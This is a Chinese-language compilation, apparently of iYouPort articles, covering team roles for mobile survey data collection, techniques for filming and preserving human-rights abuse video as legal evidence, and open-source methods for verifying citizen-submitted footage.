2. 调查设计师 —— 构建能够从调查的采访者那里获得正确数据的问题。必须确保问题不会模棱两可，并且要尽可能简单明了，以采访对象能够完全理解的方式覆盖复杂性和微妙之处。其职责还包括一个很大的视觉设计元素：要确保调查看起来吸引人，并且正在完成。

3. 培训师 —— 举办培训课程，帮助采访者和调查人员学习与参与者进行数据收集所需的技能。即使调查设计得当，通过访问收集的数据质量最终还是取决于数据收集人员的基本技能。培训师需要确保他们能够熟悉用于进行调查的移动设备和应用程序。

4. 资料管理员 —— 与调查设计师合作，以确保在访谈中使用的问卷将为分析阶段生成相关数据；创建变量映射并定义输出的格式。跟踪数据手机的进度，并将其传达给团队的其他成员。

本指南采用了对初学者和有经验的专业人士都有用的友好格式，整合了其他关于数据收集的较长指南中的要点，以及实地经验。

「图」

「图」

WHEN, WHERE AND HOW

显然，您只能收集您有权访问的数据。定义数据收集策略的第一部分是了解何时或在何处进行数据收集：

- **WHEN** 适用于经过链条不同步骤的事物：例如，首先将鱼捕获在渔船上，然后将其带到港口，再发送到储藏室等；
- **WHERE** 适用于您可能必须去进行数据收集的位置：您很可能无法在不同的环境中携带相同的设备。

HOW 找到答案后，您需要定义如何收集数据。它可能是 ：

- 使用一个或多个现有数据库，
- 使用表格，问卷和访谈，
- 使用直接观察。

直接观察是指对研究对象进行直接测量（例如地震后需要维修的建筑物数量），而不是使用间接测量，例如数据库或该领域知识渊博的人的证词。通常，直接观察是由人类观察者进行的，有时是借助特定的设备进行的：

→ 污染传感器可测量空气污染，

→ 盖革计数器可测量放射性，

→ 智能手机可记录视觉观察结果，并记录声音。

设置您的团队

如上所述，您的团队需要4个角色。下面我们将详细说明每一个角色在不同阶段的工作安排。

角色 1、专案负责人

在之前 ——

a. 与其他利益相关者一起设计项目：这涉及确定明确的目标，确定项目将寻求回答的问题，以及定义要收集的必要数据。示例：地震后震区的建筑状况如何？

b. 写下工作计划，详细说明数据收集项目的必要步骤，其顺序和协调。

c. 预算这个项目。移动数据收集项目具有需要考虑的特定成本（硬件，数据传输，数据聚合，软件维护）以及更一般的成本（保险，人员…）。

e. 确定本次调查的最佳设备：智能手机还是平板电脑？

f. 确保正确进行培训，并确保调查员可以足够熟练地进行数据收集。

在过程中 ——

a. 确保调查员在适当时积极收集数据并将进度传达给利益相关者。

在之后 ——

a. 监督数据分析。

b. 将结果合并到报告中。

最佳做法 ——

a. 明确目标

在整个项目中您需要做出重大决策，在目标方面保持清晰明确将为您提供帮助，并节省项目后期的时间。

b. 定义项目工作流程和协议

这有两个目的：确保所有利益相关者对进度有相似的期望；可以简化您的报告角色 —— 每个人都知道期望什么以及何时期望。

c. 选择合适的设备来满足您的数据收集需求

市场上有很多移动设备，而您的选择需要考虑以下几点，例如智能手机与平板电脑，电池寿命、GPS精度、相机和应用程序的兼容性等等。

d. 提供用于上传数据的不同选项

如果您的调查需要附带媒体，数据上传可能会引起成本（数据费用）和传输（电话运营商的覆盖范围有限）方面的担忧。其中一种方法是立即上传数据，然后再提交媒体附件（可在 KLL Collect 等软件中使用）。另一种方法是使用可更换的存储卡，并指定一名运行人员收集这些数据，以便以后上传。

e. 准备一个**PlanB**

事情不会总是按计划进行，因此您需要为所有事项制定应急备选计划：如果设备坏掉了该怎么办？如果服务器出现故障，该怎么办？如果GPS无法正常工作怎么办？有备份数据的过程吗？

d. 确保移动数据收集过程是正确的选择

移动数据收集可能并不总是最好的主意。有时，基于纸质的调查或基于Web的调查比使用基于移动设备的数据收集更有意义。对于数据输入成本较低的小型调查（无需进行实时更新的那种）或普通数据收集项目（其移动性和互联网连接不成问题），就是这种情况。

「图」

「图」

角色 2、 调查设计师

在之前 ——

a. 检查研究设计和项目计划，并确定调查需要涵盖的关键信息。

b. 开始起草需要填写的不同字段或需要回答的问题。

c. 设计针对智能手机的调查，以确保该平台对于这项调查来说功能完整。

d. 与团队的其他成员合作，在试点研究期间评估调查问题的质量。

在过程中 ——

a. 在必要时，与团队的其他成员合作，向现场调查员提供支持。

最佳做法 ——

a. 问题：越少越好，要精准

如果调查要求采访人们，那么设置的问题数量应该在10个或以下；同样，调查员必须填写的字段越多，犯错的可能性就越大。

b. 务实

调查问卷的设计应考虑到手机屏幕，以便于阅读。由于屏幕空间通常很小，因此应避免使用多余的元素，例如图形，在每个页面上都有标题、进度条等。最好是每页一个问题。

c. 优化用户体验

为避免错误并允许调查员一次专注于一个问题，应使用顺序的单个问题显示。“上一个/下一个” 按钮应该清晰可见。最后，答案确认功能有助于避免错误输入。

d. 确保您的调查逻辑合理

预先测试一下您设计的调查，可以确保不会跳过必填字段、输入错误的数据后调查也可以正确响应，并且预填的字段可以显示正确的信息。

「图」

「图」

3、 培训师

在之前 ——

a. 了解调查、移动设备以及调查员可能在现场面临的潜在困难。

b. 计划并组织一次或多次针对调查员的培训课程，从而避免所有潜在困难。

c. 与调查设计师和专案负责人一起进行初步研究，以帮助查明调查员所犯的错误。

在过程中 ——

a. 在必要时，培训师与团队的其他成员合作，向现场调查员提供支持。

最佳做法 ——

a. 改变教学形式

培训应包括演示，动手操作和问答环节，最好在几天内进行。此外，应该举行有关核心调查内容、损害评估的培训，适当使用相关领域的指南。

b. 监督试点研究

在培训结束时，由一名培训师监督试点研究对于帮助清除调查员可能存在的任何疑问并确定可能需要进一步培训的要点非常有用。

c. 尽可能不要漏掉细节内容

培训应涵盖所有内容，从对调查背景的说明到如何拍摄最有用的照片，再到移动设备功能的详细信息：GPS、系统日期和时间 … 等等，通常您无法预测调查员熟悉什么不熟悉什么。

d. 留下提问和反馈的空间

调查的纸质副本在最初可能很有用，以便调查员可以对调查的字段或问题进行注释并提出评论。鼓励每个人提问题，不论多蠢的问题都可以问，只要想知道，就应该获得解答。

e. 让调查人员对最坏的情况做好准备

在调查期间几乎不可避免地会出现意想不到的事。调查员应能够重置或重新安装有问题的软件。

「图」

「图」

4、资料管理员

在之前 ——

a. 建立技术基础架构，可以对收集的数据进行接收、存储、安全性和分析。

b. 在试点调查期间监视收集的数据的质量和技术基础结构的响应能力。

在过程中 ——

a. 跟踪调查员发送的数据，确保接收到的数据没有缺陷。

b. 在应实时分析和可视化数据的项目中，持续管理此过程。

c. 通过与团队其他成员的合作，如有必要，向现场调查员提供支持。

在之后 ——

a. 数据收集过程完成后与项目负责人协作运行最终分析，导出并创建报告。

最佳做法 ——

a. 不要使调查工作流程过于紧张

在数据收集应用程序本身中添加大量验证规则以减少以后的数据验证

步骤，这种做法可能是非常诱人的。但是请记住，如果在现场遇到异常数据，这可能会使数据收集出现问题。

b. 为最终用户考虑

确保您熟悉数据的最终用户：他们将如何使用数据和使用的工具。这将指导您定制最适合最终用户的数据输出。

c. 测试，测试

填写测试数据并生成模拟输出。这将揭示数据中可能存在的问题，并允许您根据需要采取纠正措施。

d. 自动化可视化进度

跟踪调查的演变不仅有用，而且可以节省大量时间。一些开源数据收集工具无需任何工作即可进行数据可视化和进度监控。

e. 关于数据访问权限的思考

有时您可能需要为不同的人员提供不同级别的访问权限，以确保只有合适的人才能查看和更改数据。您应该确保所使用的数据收集工具能够执行此操作。

「图」

「图」

该领域的常见错误

显然，您只能收集您有权访问的数据。任何调查都受到对正在研究的学科的可用访问的限制。定义数据收集策略的第一部分是了解您可以何时或在何处进行数据收集。

警惕常见错误：

1、调查员不小心从图库中删除了照片。

2、调查员错误地将测试用的数据上传到了实际数据集中。

3、调查员拍摄了模糊的图像，有些照片在弱光下拍摄。

4、调查员键入了带有拼写错误的数据。例如 0（零）被写成了O（字母O）。

5、调查员误操作将默认存储位置更改成了提供给他们的设备的内存。由于一半的数据存储在移动存储中，而另一半数据存储在设备内存中，因此会引起混乱，导致认为数据丢失的调查员感到恐慌。

6、调查员使用其他设备，但忘了正确配置设备。

7、由于调查员匆忙而出现的错别字和输入错误。

8、调查员试图从建筑物内部记录GPS位置，这会导致准确性下降和延迟。

9、调查员尝试从带宽较低的互联网服务位置提交大量数据（带有照片），这可能会导致频繁上载失败的错误。

10、在尝试和浏览该应用程序时，调查员可能会更改默认设置。这可能导致该应用程序的行为方式与培训过程中教给调查员的期望方式有所不同，并导致混乱。

11、设备损坏。现场最常见的损坏类型是设备屏幕破裂。调查员没有填写许多必填字段。

12、调查员未填写某些数据点，因为他们认为可能已经捕获了相关数据。例如，在一种情况下，调查员没有捕获建筑物主楼的照片，因为他们认为主楼画面先前在设施招牌的另一张照片中出现过。

13、设备的自动输入更正，导致条目中的错误。

14、调查员尝试保留数据备份，但没有复制整个文件夹，这会导致数据丢失。

15、从SD卡向笔记本电脑传输数据时，意外删除了数据。

以上这些最常见的错误在培训期间和过程中的协助都应该考虑到。

注：

试点研究：为了评估可行性、时间、成本、不良事件和效应值（统计变异性）而进行的小规模初步研究，旨在预测合适的样本量并改进研究设计，全面研究项目的绩效。

项目工作流程：将任务序列化以产生所需结果的过程，通常涉及多个参与者和多个阶段。

在这里获取原始完整文档。〇

原文

公民取证技巧：如何留住真相？ - iYouPort

让它民主-公民掌握真相的技巧和技术

> 曾经与一些记者交流时听到他们感叹，“中国民间传播的视频记录大多无法使用”，因为，“五个W一个都没有，镜头完全抓不住重点，等等”。我们看到过类似现象，很可能源于人们没有接受过作为公民的基本功培训，这是非常重要的基本功。公民的职责就是捍卫正义和真相，而政权最擅长抹杀真相，这是一场持久战，能给公民的最强大的武器就是技术能力和技巧经验

「图」

世界各地的公民都在使用视频来揭露违规行为，以推动变革；视频作为证据也越来越多地被用作调查的一部分和法律指南。视频是证据收集的一个非常重要的工具，因为它有希望永远存在。如今几乎每个人都有一部手机，可以在任何地方拍摄和制作视频，中国曾经有所谓的“围观改变什么”的说法，我们一直不同意这一说法，主要因为：中国的大多数“围观者”由于严重不专业无法成为记录者；缺乏与人权组织合作的经验而无法令资料发挥真正的作用；因此他们并没能推动“改变”。

让证据发挥作用不是一件很简单的事，和中国一样，刚果的人权律师和社会积极人士一直面临着证明和理解事件背景的挑战，他们通常很难收集可以直接指控犯罪的关键镜头。公民证人、活动家和非政府组织，是第一批面对诸如此类挑战的人 — 关于如何捕获关键信息。希望能让视频成为证据的具体方法，应该建议活动人士与律师合作，这样他们就会对应该拍摄哪些重点心里有数，以便通过媒体、议会、国际权利组织、委员会和法院伸张正义。

虽然公民拍摄的视频经常提供关于发生的事情和可能性负责人的有用线索，但其质量很少能通过需要在法庭上作为证据使用的更高标准。好消息是：通过略微练习和修改，公民和活动家冒着生命危险捕获的镜头就可以作为刑事和民事司法程序的证据。

本文的主旨就是提供给所有勇于伸张正义的人们一些技巧和技术方面的协助。

我们开始。

首先，确定要拍摄哪些影像，为了让某人或组织对犯罪行为负责，律师需要的证明包括：

- 犯下了什么罪行;
- 谁犯下的罪行;
- 是如何犯罪的（即 自己动手、有组织有计划、还是买凶等）。

公民和活动家通常可以很好地捕捉犯罪行为的镜头，但要记录犯罪者是谁、以及他们是如何做到这一点的，要困难得多。调查人员和律师要花费大部分时间来证明后者，因此，虽然记录犯罪行为的录像很有价值，但制裁和问责也很重要。在存在大规模暴行和系统性侵犯人权行为的情况下尤其如此。

记录犯罪的执行或后果的视频被称为“基于犯罪的证据”。以下是几个可以作为基于犯罪的证据的镜头示例。录像片段：

- 军队折磨和伤害平民;
- 推土机非法摧毁房屋，以及推土机离开现场后造成的损坏场面;
- 警方非法杀害嫌疑人，并销毁致死记录;
- 空袭结束后，记录医院遭受的轰炸和破坏状况;
- 军营中的儿童接受战争训练;
- 可证实非法钻探的钻机出现的具体地点...等等

关于应该捕捉“什么”，有点本能的意味，你看到一些错误现象正在发生，就可以将相机指向它并按下记录。人们都有道德心理，这就是为什么有大量基于犯罪的视频记录。但捕获“谁”、及“如何”的证据远不那么直观并难以做到，以下我们介绍一些能帮助你的技巧。

包含关于“谁”和“如何”的线索的录像片段通常被称为“联系性证据”，因为证据将犯罪者与犯罪行为“联系起来”了。虽然有可能无法使用视频直接确定究竟是谁犯了罪以及他们是如何做到的，但视频可以提供重要的线索，调查人员和律师可以与其他证据来源（如文件或证人证词）拼凑起来 — 找出谁应该承担责任，即使肇事者已经远离犯罪现场也要追究其责任。

有时“谁”和“如何”这样的信息很容易用视频捕获，例如，

- 一名士兵的正脸，他反复殴打平民;
- 推土机操作员在摧毁房屋时的脸孔特写;
- 导致嫌疑人死亡的官员的徽章编号和铭牌...等等

然而，有些时候也会比较难。以下是一些对取证来说形成挑战的状况：

- 视频无法向我们展示正在投掷炸弹的飞机的飞行员的身份，或指示飞行员向医院投掷炸弹的指挥官的身份;
- 我们可能会在训练营看到儿童兵，但可能看不到他们的训练员或指挥官;
- 我们不知道是谁下令将钻机非法放置在土著人土地上的，因为我们只能看到钻机
- 一些便衣流氓在使用暴力针对手无寸铁的平民，但我们不知道是谁指使他们这样做的

联系证据至关重要。作为当地的公民证人或人权活动家，您可以独特地收集联系证据。虽然拍摄联系证据并不难，但了解如何捕获它比捕获基于犯罪的镜头更复杂。

— — 第一部分 — —

What：可能的基于犯罪的证据

- 正在进行酷刑
- 死亡
- 受伤
- 被官员殴打的人
- 平民财产受损
- 文物被损坏
- 携带武器或参加军事活动的儿童
- 仇恨言论

who & how: 可能的联系性证据

- 警察部队阻止抗议者和/或部队调动
- 徽章编号和制服
- 护照或其他官方身份证件
- 公务车牌照
- 军事装备（包括序列号）
- 演讲者

- 检查站
- 被占用设施的外部
- 曾经被占用然后被遗弃的设施
- 通信设备 — 卫星天线、收音机等……

「图」

第一步：

- 记录日期，时间和位置
- 确保将相机或手机设置为正确的日期、时间和 GPS 位置
- 录制您的声音，解说日期、时间和地点
- 如果您需要匿名拍摄，请在一张纸上写下时间，日期和位置，然后将其放在相机前至少10秒钟
- 您还可以拍摄任何可以显示日期、时间和位置的内容，例如时钟、报纸的头版、路牌、地标或地理特征

第二步：使用相机麦克风或笔和纸来记录以下内容的姓名和联系信息：

- 被拍摄的人物;
- 拍摄者;
- 现场其他与主题事件有关系的人。

第三步：

拍摄的目的是让那些不在场的人能够看到发生的事件，并理解基本要点。所以在拍摄时，问问自己，“如果我将这段录像给不熟悉该位置的人观看，他们能否总结一下所发生的事情，并根据我视频中的信息绘制出精确的场景地图？”你希望能够被回答，“是的！”

所以，对你拍摄的内容保持清醒和有目的性是必须的。活动家经常捕捉发生了“什么”，但不总是能捕捉到“谁”和“如何”。考虑填写“收集计划”表单，以帮助您战略性地确定需要捕获的素材，以便让观众清楚地了解发生的事件。由于每种情况都不同，因此没有绝对的规则，但以下是关键的基本拍摄技术，有助于确保您的视频易于理解和提供有价值信息：

当然能连续拍摄整个场景最好。但是，如果事件太大、很复杂或危险，您可能需要采取分片段拍摄。在这种情况下，请尝试通过将相机指向您刚才停止拍摄时的相同位置，以继续录制每一个新片段，可方

便剪辑。换句话说：重叠镜头。

包括以下镜头：

- 一个非常缓慢的 360 度平移，提供上下文并显示场景背后所发生的事。
- 广泛建立镜头，提供易于理解的犯罪现场布局，并协助验证时间、日期和地点。
- 采取旁观者视角，以确定犯罪现场的证据、位置、以及一件证据与另一证据之间的关系。
- 特写镜头显示关键细节并识别现场人员。
- 如果可能，请从事件场景的多个侧面拍摄上面列出的镜头。
- 保持所有镜头10秒或更长时间。更改位置或放大或缩小时，请缓慢移动相机。避免快速或不稳定的动作。如果可能，请使用三脚架、独脚架甚至固定表面都可以，以便稳定相机。

第四步：书面文档

如果您无法向录制的视频本身添加基本信息，则应创建一个单独的文档，其中汇总了有关您的素材的关键信息。一定要这样做，即使这可能有些耗时，但提供全面的书面文档可以显著增加您的视频被用作证据的机会。

摘要信息（通常称为“摄像报告”）可以手写或在计算机上完成，并保存在带有视频的文件夹中。始终包括以下内容：

- 您撰写摘要的日期和时间;
- 拍摄视频的日期、时间和地点;
- 以下名称和联系信息：拍摄者; 正在被拍摄的人物; 现场其他与事发信息有关的人;
- 视频中所显示内容的简短实际摘要。禁止错误信息和夸大描绘;
- 任何安全信息或安全限定。

关键：

书面文件很重要！即使您在视频录制中包含了基本信息，单独的书面摘要也会有所帮助。这些额外的文档将使您的视频在公民和活动家每天捕获和共享的成千上万个视频中脱颖而出，它将帮助人权研究人员和调查人员审查内容并确定您的视频是否有助于他们。简而言之，您越是有意为审核人员制作，他们就越有可能观看您的视频。

「图」

— — 第二部分 — —

如果您的视频没有得到适当的保护，您的视频的可信度就会受到质疑。以下基本步骤将帮助您保护原始文件的完整性，防止其被编辑或进行数字操作，用于避免设备故障、丢失或被丢弃、或可能落入坏人手中。

第一步

为了在现场的保护想出一个计划，以保护您的存储卡免受物理损坏，防止坏人可能抢走您的镜头。在现场时，请考虑以下做法：

- 使用空白卡换掉旧卡并藏好使用过的卡;
- 即时创建备份;
- 立即将镜头上传到安全服务器;
- 不使用时，将存储卡存放在坚固、无尘的卡片盒中。

第二步

在您从现场返回后想出一个保护您的镜头安全的计划。请考虑以下做法：

- 在传输视频之前，在存储卡上设置写保护锁;
- 将原始文件从卡传输到硬盘驱动器而不以任何方式处理视频，以保存原始文件。不要通过特殊软件运行它或更改文件格式、文件名或文件结构;
- 如果可能，至少备份原始文件一次和两次。复制后，请勿以任何方式更改原始文件;
- 将备份副本保存在单独的设备上，并保持主副本位于不同的物理位置;
- 限定只有必须的人才能以物理和数字形式访问您的视频，以保持存储安全。

第三步：整理您的视频

如果您想整理从相机中导出的视频，请按日期和创建者格式将它们整理到文件夹中。同样，请勿更改原始视频的格式、文件名或目录结构。以标准化方式命名您的文件夹，以便您可以轻松对其进行排序和识别，例如，yyyy-mm-dd_Creatorname_IncidentDescription。

第四步：跟踪视频

使用电子表格或数据库来跟踪存储素材的位置以及与之共享的人员。为了将您的视频用作调查的一部分，您需要将其提供给值得信赖的人权研究人员或调查人员。

当您将镜头提供给其他人或组织时，他们可能会要求您签署一份表格，记录手中的镜头。在法律方面，表格记录了“监管链”。请求的信息会有所不同，但您很可能需要验证您是否是视频录制者，并且未更改过视频文件。

目标

如果您认为在线分享视频片段是安全的 — 并且具有战略意义 — 请遵循以下基本实践，以便：

- 记者、研究人员或调查员能够搜索、查找、理解和验证您的视频;
- 让您使用的在线平台知晓该视频包含信息丰富的人权内容，这样它们就不太可能删除视频（YouTube 有所谓“暴力”内容审查）。

「图」

标题

将视频上传到在线平台时，请添加一个简短标题，其中包括日期、具体位置、城市、国家/地区，以及一些关于视频内容的关键描述性文字，要简明扼要。

说明

重复添加时间、日期、具体位置、城市和国家/地区的事实描述，并包含视频中显示内容的事实摘要。添加文字有助于观众了解视频的上下文，例如录制之前或之后发生的事。避免个人意见、错误信息和夸大描绘。如果确认安全，请包括摄像师或摄像师组织的名称和安全的联系信息。

关键说明

上传时请标注图像视频属于「人权内容」。这将：

- 提醒观众视频可能存在暴力或令人不安的画面;
- 在线平台发布时，提醒视频片段可能包含有价值的人权镜头，非常重要。如果没有此警告，YouTube 和其他平台可能会删除“违反其社区准则”的视频，该准则禁止用户发布没有公共价值的令人震惊、耸人听闻或不尊重的内容。

再次标签、日期、时间、具体位置、城市和国家/地区，然后添加描述性内容的关键字。例如：“人权”，“驱逐”，“逮捕”，“过度武力”，“炮击”，“抗议”，“儿童兵”，“检查站”，“制服”，“石油泄漏“，”折磨“或”难民“等，标签必须是公正的和描述事实的。

第四步：保存

文件视频网站（如 YouTube 等）非常适合分享视频，但不应将其用作保存视频原始副本的地方，因为：

- 上传到 YouTube 等平台的视频针对网络流式传输进行了优化，这意味着原始视频被压缩并可能剥离有价值的信息 — 文件中嵌入的元数据;
- 上传后您无法从 YouTube 等网站检索原始文件，因为只有针对网络流媒体优化的副本才可用;
- YouTube 和类似网站可以在未经您许可的情况下移除您的镜头，如今的审查已经越来越严重。

— — 第三部分：与可信赖的个人和组织共享 — —

第一步

与人权组织、调查员、执法人员和法院分享录像和信息会触发权利和责任。具体的权利和责任取决于您与谁共享信息。在将镜头提供给中间人进行保管之前，请务必选择以下中间人：

- 你确保能信任的人;
- 拥有技能、资源和基础设施，可以确保您的视频安全、完整和可靠的人;
- 尊重（甚至以书面形式保证）对镜头的具体使用的人，特别是不会给您拍摄到的人或社区组织带来安全风险的人。

第二步：决定如何提供原始文件给您信任的盟友以确保不会被更改

如果您与之分享视频的人或组织距离较近并且可以走访，则分享视频的最安全方式是亲自将视频从您的计算机或硬盘上传输给他们。但通

常情况并非如此，将镜头传递给你的盟友的最常用实用方法是将通过网络。

如果您处于高风险状态，上传文件可能会很危险，于是需要选择相当安全的传输视频渠道（请参阅下面的技术推荐）。最好在选择通讯服务之前与您的盟友讨论安全风险。

第三步；提供补充信息

在可能的情况下，还需提供以下内容的印刷版或电子摘要：

- 视频捕获的时间、日期和具体位置;
- 视频中显示内容的简明事实摘要;
- 摄像师的姓名和联系信息、拍摄人员、以及可能掌握有关事件的宝贵信息并愿意与NGO或调查员交谈的其他人;
- 任何安全信息，确保您的盟友知道哪些信息是保密的，哪些信息可以与他人共享。

— — 最后 — —

考虑使用技术来保护您的视频。

虽然使用技术工具来增强视频的证据价值并不是强制性的，但是有用的新工具一直在开发中。这些工具与您的实践技能相结合，可以增强视频的可信度。以下是一些可供选择的选项：

Capture：在现场拍摄、并可以为您的视频添加上下文

• Storymaker: 一款带有使用培训和模板的 Android 应用程序，可帮助您安全有效地随时随地捕获视频 — storymaker.cc

• InformaCam: Android 应用程序，用于通过嵌入式元数据创建安全且经过验证的视频，以确保捕获的镜头具有增强的证据价值 — guardianproject.info/informa

• eyeWitness: Android 相机应用程序，可记录和嵌入元数据，以方便法院对镜头进行身份验证及使用其作为证据 — eyewitnessproject.org

• Taggly: 同时适用于 Apple 和 Android 设备的应用程序，将使用元数据水印为您的媒体标记 — tagg.ly

Store: 保持媒体的安全和有序

• Seagate Wireless Plus: 便携式硬盘驱动器，电池供电，支持 Wifi，随时随地为您提供额外的存储空间 — goo.gl/lxwOsZ

• Syncme: 自动同步文件的 Android 应用。与 Seagate 配合使用，可以在现场不断备份您的资料 — goo.gl/kf3sqY

• Adobe Bridge: 媒体浏览工具，可帮助您整理视频，添加标签以及查看和编辑元数据 — creative.adobe.com/products/bridge

• Activists' Guide to Archiving Video: WITnESS 指南概述了存储和编录视频的工具和最佳实践 — archiveguide.witness.org

Share: 与他人分享时，请确保您的资料安全且私密

• Bittorrent Sync: 从一个设备直接传输到另一个设备，是在低带宽环境中进行安全共享的一个很好的选择 — getsync.com

• SpiderOak: 易于使用的"云端"存储，具有端到端加密功能，有助于提高文件共享的安全性 — spideroak.com

• BoxCryptor: 免费服务，在您将文件上传到 Dropbox 或其他"云"服务站点之前对其进行加密 — boxcryptor.com

好啦，以上是最为基础的技术技巧介绍。如果您拥有相关实战经验、遇到过本文中没有提及的难题或挫折、或者还知道其他更好的并方便可用的技术，欢迎在评论栏中与大家分享。■

感谢帮助 ***iYouPort***！

PayPal 捐赠渠道已开通 "//https://paypal.me/iyouport//"

原文

公民记者如何验证民间爆料视频的真实性？ - iYouPort

让它民主-公民掌握真相的技巧和技术

公民记者没有强大的政治后台、也没有几百万美元的宣传经费可用，真实性是你们唯一的公信力来源 —— 你们的公信力是恶行是否能得到惩治的关键。

「图」

「图」

经常有民间自称目击者的网友提供“现场视频”，并声称在某些时刻发生过什么。但它是真的吗？分辨真伪对公民记者来说是个强大的考验。

大多数公民记者没有资金，难以亲赴现场验证；而有些内容可能是非常关键的证据，事关人命，于是需要技巧来确定它们是真实的。

这可能是一个非常具有挑战性的过程。

通过数字社交网络分享的错误信息对于任何现代新闻编辑室来说都是一个严重的问题。

我们曾经介绍过验证视频和照片的方法，见这里《虚假信息鉴别工具箱：如何验证图片和视频的真伪？》，这里还有更全面的信息验证工具《超级情报收集工具库：开源验证和调查工具及使用方法》。

本文介绍一个纽约时报的案例演示视频，使用的也是开源调查的方法，相对比较简单，公民记者应该掌握这些基本技巧。

尤其是思路，比工具更重要。

跟踪视觉效果

记者经常会通过 Twitter、Facebook、YouTube、Snapchat 等等社交媒体平台获取信息，尤其是目击者传播的视频。所有这些内容都需要仔细验证。

下面是一个通过 WhatsApp 传播的视频的案例。

「图」

「图」

使用 WhatsApp，六个消息来源之一的一名叙利亚医生证实了叙利亚化学武器袭击现场附近医院隧道入口的位置。

验证过程分为两个一般步骤：首先，确定视频是否真的是新的，而不是旧视频声称新事件；接下来剖析每一个框架，以得出有关位置、日期和时间的准确信息，考证所涉及的参与者、以及究竟发生了什么。

1、它是新的吗？

在突发事件出现时，使用旧视频冒充新事件的情况是非常常见的。

比如前两天的四川地震，社交网络上很多人使用的是台湾花莲地震的旧照片声称是四川。

这点在任何国家都一样。

当美国在4月13日晚对叙利亚发动空袭时，社交媒体上有一些小视频开始流传；其中一段视频声称在大马士革发生了一系列爆炸事件。然而验证显示，该视频是2015年2月乌克兰城市卢汉斯科发生的战斗。

这是个影响严重的错误，一些大牌媒体也上当了，他们发出了错误的报道。

是因为他们不会验证吗？很可能并不是，因为验证一点都不难。这是抢首发的盲目造成的。

对于公民记者来说，真实性尤其重要，因为你们没有强大的政治后台、也没有几百万美元的宣传经费可用，真实性是你们唯一的公信力来源。

如果你不想被撒谎的职业媒体压倒，就应该比他们技高一筹。

方法和工具在前文那两个链接中。

不论是暴力事件还是非暴力事件，都会有人使用陈旧的图片和视频冒充正在发生的事；一定要提高警惕，带着批判性意识采纳信息。

尤其是，越激烈的、越戏剧化的视频越应该小心，因为这样的视频由于画面刺激会更加高速传播，欺骗者经常利用这点来推动虚假信息。

在完美的状况下，验证需要包括获取原始视频文件或查找在线共享该视频的第一个版本，审查上传者的数字足迹、并联系该人 —— 如果能这样做是最安全的。

2、逐帧分析

如果初步认定视频是新的，上传者的地理位置的确在事发现场附近；下面要做的工作就是逐帧分析。

但是你经常会遇到一些比较极端的情况，比如武装冲突、强大的国家审查压制，这会导致联系目击者变得很困难。

于是公民记者应该拥有自己的一套技能和方法来独立确认或证实视频中可见的内容。

在此案例中方法是很简单的，因为原始视频文件附带元数据 —— 嵌入文件的详细信息，包括使用的相机或手机型号、日期和时间，有时甚至是显示该地点的精确坐标。

要知道这是极为幸运的事。很多时候，尤其是通过社交媒体如 Facebook 或 Twitter 、加密通讯如 WhatsApp、signal 等获取的视频，会被篡改或者抹去元数据。

这种时候必须在视频中寻找有关位置和日期的视觉线索。

在此案例中第一步查找事发地点。

广角镜头的视频通常会显示道路、桥梁或不同建筑物等地标，或显示山脉或河流等地理特征。

这就是线索。

所有这些都可以与参考资料匹配，如卫星图像、街景和地理标记照片，以确定事件发生的大致或准确位置。

这是一个定位过程的视频演示作为参考：

虽然这听起来很容易，但很多时候你在视频中看到的通常都是路灯、交通标志或树木。

这就比较有挑战性了。但是即便是路灯那种简单的东西也可以做到验证线索。

你看过《国土安全》那部电视剧吗？其中有一个细节：恐怖分子绑架了 Quinn，把他放在玻璃房子里做毒气攻击实验。你还记得 Carrie Mathiso 是怎么找到 Quinn 被绑架关押的具体位置以营救他的吗？

没错，地砖。

那是个室内视频，没有任何地标类的视觉线索；Carrie 是通过视频中露出地砖特点以找到具体地点的 —— 那个地砖是哪里生产的？主要在哪里销售？

这是常用的思考方式。尼日利亚东北部 Maiduguri 的法外处决暴行视频证据，就是通过路灯来验证的。

📡找到视频中任何一个细节的特点，抓住它，使用一切工具查找该特点有可能出现的地方。

并且要注意音频，因为当地方言可能有助于证实一般位置；如果没有对话，请注意视频中出现的其他背景声音，比如汽车繁杂的声音意味着地理位置接近某高速公路；如果有飞机的声音，说明位置接近机场，等等，你一定对此很有经验。

下一步是验证日期和时间。

确定事件发生的确切日期和时间可能更具挑战性。

可以使用历史天气数据来检测视频传播者所讲述的事发时间是否存在不一致性，但当然这并不能提供确切的日期。

这就是阴影帮上忙的时候了（我们会在后面的文章计划中详细介绍阴影的使用方法）。

阴影是确定时间的好办法。一种名为 SunCalc 的工具可以提供帮助，就是这个链接，它的网站很容易操作，可以在给定的一天的给定位置上确定光线的位置。这样就很容易确定时间了。

之后就是确定事件和人员。

依旧是仔细观察视频中出现的细节，任何一个微小的细节都可以帮上忙。

其中人员会佩戴徽章吗？他们穿着制服吗？周围的物品上有什么标志吗？

在这里看到通过迷彩服图案确定战斗人员身份的演示《如何使用数字技巧在线验证中东冲突中的战斗伙伴关系》

这里还有一个很棒的细节线索调查演示，验证大屠杀的证据《细节线索的魅力》

还有一个在线侦查的演示案例，通过一个头像挖掘网络水军的线索《网络水军如何试图影响选举？》

这些演示是希望介绍思路 —— 掌握思路是比工具本身更重要的事。

工具非常多，这里有一个汇总《超级情报收集工具库》，但是如果您没有经验缺乏思路，有可能不知道该从哪里开始。

所以，多练习，多参考专业人士的演示，很快就可以积累经验。

在全球范围内，公民媒体正在彻底改变人权事实的调查，为人权监督机构以及法院的调查开辟了新的可能性。

随着公民新闻和新技术的出现呈指数增长，人权调查人员能够以前所未有的速度查找和挖掘战争罪和危害人类罪的证据。

在中国发生的很多事都缺乏证据，以至于受害者难以申诉。我们认为这是不公平的。公民记者和人权活动家应该努力为捍卫真相加强技能。

IYP会尽可能提供知识技巧给您，关注我们的OSINT栏目以获取它们。该栏目会持续更新下去。〇 广告

原文

如何安全地留住证据：给真相的记录者一些技术技巧建议 - iYouPort

让它民主-公民掌握真相的技巧和技术

> 任何时候，拿出充分证据都是取得胜利的重要基础。中国有很多问题无从解决是在于证据的缺失，活动家们的技术能力不够、对证据的保存不很用心，并且一直在遭到当局的骚扰和审查。这就是为什么技术普及是至关重要的：技术不仅能保护铁证不会丢失，并且能保护记录者和其中涉及到的所有人的人身安全

「图」

